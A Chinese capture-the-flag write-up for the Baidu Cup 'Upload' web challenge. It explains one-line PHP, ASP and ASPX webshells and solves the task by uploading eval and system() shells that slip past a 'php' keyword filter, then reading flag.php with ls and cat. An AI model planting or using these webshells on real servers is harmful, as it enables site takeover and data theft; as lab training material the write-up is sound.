“百度杯”CTF比赛 九月场--web Upload
“百度杯”CTF比赛 九月场--web Upload
- 基础知识
- 1、什么是一句话木马?
- 2、一句话木马的简要原理
- 3、html渲染过程
- 解析渲染该过程主要分为以下步骤
- 解决方案
- 4、Linux的cat命令
- 解题思路
- 1、题目分析
- 2、求解
- 第一种方法
- 第二种方法
- 第三种方法
- 题目总结
基础知识
1、什么是一句话木马?
最简单的理解就是,一句话木马上传到网站后台,然后我们可以通过提交参数等的方式去获取shell,比如拿菜刀或者蚁剑等工具。比如下面这段php一句话木马:
<?php @eval($_POST['key']) ?>
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘key’]表示从页面中获得key这个参数值。
其中,只要攻击者满足三个条件,就能实现成功入侵:
- 木马上传成功,未被杀;
- 知道木马的路径在哪;
- 上传的木马能正常运行。
常见的一句话木马有:
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。
2、一句话木马的简要原理
首先我们先看一个原始而又简单的php一句话木马:
<?php @eval($_POST['cmd']); ?>
这句话什么意思呢?
- php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
- @符号的意思是不报错,即使执行错误,也不报错。
- 密码是cmd
为什么密码是cmd呢?那就要来理解这句话的意思了。php里面几个超全局变量:$_GET
、$_POST
就是其中之一。$_POST['a']
的意思就是a这个变量,用post的方法接收。
注释:传输数据的两种方法,get、post,post是在消息体存放数据;get是在消息头的url路径里存放数据(例如xxx.php?a=2)
如何理解eval()函数?
eval()把字符串作为PHP代码执行。例如:eval("echo 'a'");
其实就等于直接 echo 'a';
再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';
这时代码就变成<?php eval("echo 'a';");
连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有需要的什么文件,可以用php函数:opendir()和readdir()等等。想上传点文件,就用php函数:move_uploaded_file,当然相应的html要写好。你想执行cmd命令,则用exec()。
3、html渲染过程
- 用户输入url地址,浏览器根据域名寻找IP地址。
- 浏览器向服务器发送http请求,如果服务器段返回以301之类的重定向,浏览器根据相应头中的location再次发送请求。
- 服务器端接受请求,处理请求生成html代码,返回给浏览器,这时的html页面代码可能是经过压缩的。
- 浏览器接收服务器响应结果,如果有压缩则首先进行解压处理,紧接着就是页面解析渲染。
解析渲染该过程主要分为以下步骤
- 解析HTML
- 构建DOM树
- DOM树与CSS样式进行附着构造呈现树
- 布局
- 绘制
当浏览器请求服务器上的其他语言的脚本时,如php,则先运行脚本,然后将结果解析为HTML,再返回给浏览器呈现。
解决方案
- PHP htmlspecialchars() 函数
该函数把预定义的字符转换为 HTML 实体。即可以显示在页面中。
<script language="PHP">echo(htmlspecialchars(file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
- PHP file()函数
file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。也就是<?php成为了单独的一行,解释器只注释掉了这一行,后面的flag可以显示出来。
<script language="PHP">print_r(file('../flag.'.'p'.'h'.'p'));</script>
4、Linux的cat命令
1.命令格式:cat [选项] [文件]...2.命令功能:cat主要有三大功能:1.一次显示整个文件:cat filename2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.3.将几个文件合并为一个文件:cat file1 file2 > file3.命令参数:-A, --show-all 等价于 -vET-b, --number-nonblank 对非空输出行编号-e 等价于 -vE-E, --show-ends 在每行结束处显示 $-n, --number 对输出的所有行编号,由1开始对所有输出的行数编号-s, --squeeze-blank 有连续两行以上的空白行,就代换为一行的空白行 -t 与 -vT 等价-T, --show-tabs 将跳格字符显示为 ^I-u (被忽略)-v, --show-nonprinting 使用 ^ 和 M- 引用,除了 LFD 和 TAB 之外
解题思路
1、题目分析
想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中
题目很简单,就是让我们在靶机的网站中上传文件。
2、求解
第一种方法
尝试读取flag.php 这里php也需要绕过,可以用.连接字符串绕过,也可以strtolower(‘PHP’)绕过
<script language="PHP">echo((file_get_contents('flag.'.'p'.'h'.'p')));
</script>
访问结果为空白,原因是php脚本上传在/u/xxx.php中,试一试上级目录吧
<script language="PHP">echo((file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
访问页面是空白的,查看源代码
<?php
echo 'here_is_flag';
'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';
得到flag
第二种方法
先看上传的文件内容中都有什么被过滤掉。发现过滤php
关键字,然后在网上找到了另一种php一句话的木马<script language="pHp">@eval_r($_POST[‘key’])</script>
绕过<?限制的一句话然后用菜刀或者蚁剑连接,可以getshell,并且得到flag了。
第三种方法
构造payload:url/u/3.php?id=cat /var/www/html/flag.php
这种方法需要对文件存放目录很熟悉。首先构造如下的一句话木马:
<script language="PHP">system($_GET[id])</script>
PHP大写绕过,上传!执行:url/u/3.php?id=ls
,发现php_errors.log日志文件,找到绝对路径:/var/www/html/u
,然后直接命令查就可以了。然后利用cat 查看文件内容,最后就可以构造出payload了。
题目总结
这道题主要考察的是文件上传的知识,是一道很简单的练手难度问题,也没有涉及到很复杂的正则表达式过滤或者后缀过滤等等,再接再厉吧!
“百度杯”CTF比赛 九月场--web Upload相关推荐
- “百度杯”CTF比赛 九月场 Upload解题思路
Hello,大家好,我是锘锘鸡. 今天分享给大家的是百度杯CTF比赛的Upload解题思路. 先看下题目 提示flag就在flag.php中. 进入答题链接 发现是文件上传,于是好奇的锘锘鸡开始了他的 ...
- “百度杯”CTF比赛 九月场Upload 之菜刀的使用
最近越学习 越感觉自己菜 然而 这并不是重点 然而 我有一颗上进的心 哈哈哈 敲黑板 划重点了 我们把没用的地方删掉 直接进入菜刀方法解决这道题 题干不是白给的 上传一句话木马 <?php ev ...
- CTFhtml解析php,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3等 php别名) Web程序 - 贪吃蛇学院-专业IT技术平台...
网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...
- 【SQL注入】CTF练习题WriteUp——“百度杯”CTF比赛 九月场SQL
目录 1 前言 2 解题步骤 2.1 审题 2.2 判断注入数据类型及闭合方式 2.3 尝试联合查询注入 2.3.1 测试回显列数 2.3.2 测试显示位 2.3.3 爆库 3 总结 1 前言 本节内 ...
- “百度杯”CTF比赛 九月场_再见CMS(齐博cms)
题目在i春秋ctf大本营 又是一道cms的题,打开御剑一通乱扫,发现后台登录地址,访问一看妥妥的齐博cms 记得以前很久以前利用一个注入通用漏洞,这里我贴上链接,里面有原理与利用方法详细说明: 齐博c ...
- cft-wp-百度杯CTF比赛 九月场(upload)
打开连接 发现有个上传功能: 上传一句话试试:<?php @eval($_POST['pass']);?> 发现没有路径,看下源码: 找到路径,上菜刀提示连不上,猜测可能有过滤,或者文件不 ...
- ctf php fork,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3,phps等 php别名)...
网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...
- “百度杯”CTF比赛 九月场 Code
前言 这道题基本上花了我差不多快5个小时,前面虽然遇到了小问题,但是自己也是努力攻克掉了,只是卡在了最后那块,看了很多WP,逻辑上花了很久很久才想明白.可以说,这题还是很不错的. WP 打开环境发现是 ...
- [WEB攻防] i春秋- “百度杯”CTF比赛 十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入 复现过程
中华人民共和国网络安全法(出版物)_360百科 可以说一道经典的CTF题目,解这道题的过程类似于我们渗透测试的过程,所以把它放在了这个专栏,在这里我们详细讲过程,而不是原理. 目录 题目 寻找方向 f ...
最新文章
- Struts2 单个文件上传/多文件上传
- 一文详解图对比学习(GNN+CL)的一般流程和最新研究趋势
- mysql--innodb索引原理详解_MYSQL索引机制(InnoDB索引原理详解)
- postgresql 创建用户_PostgreSQL创建用户和修改用户密码
- Carbon Copy Cloner for Mac(磁盘克隆/同步/备份工具)直装版
- Knockout应用开发指南 第二章:监控属性(Observables)
- 【Java毕设项目】二十项毕设项目(附源码课件)
- 常见Web安全漏洞及测试方法(转载)
- Java 打印PDF文档的3种情况
- PyHook3简明教程
- PHP 把ofd格式文件转PDF,打开OFD格式文件及将OFD格式文件转换成PDF文件
- [PyTorch]手动实现logistic回归(只借助Tensor和Numpy相关的库)
- matlab分形曼德勃罗,曼德勃罗集合分形图案
- 解决vue+element 时间控件时间差,区域时差8小时
- @PersistenceContext和@Autowired在EntityManager上应用的区别。
- 正则表达式的基本用法
- 虚拟机中左键不能使用,鼠标滑轮和右键正常-解决方案
- 知物由学 | 易盾SaaS系统资损防控体系建设
- google网页翻译使用不了的解决方案
- Launcher功能入口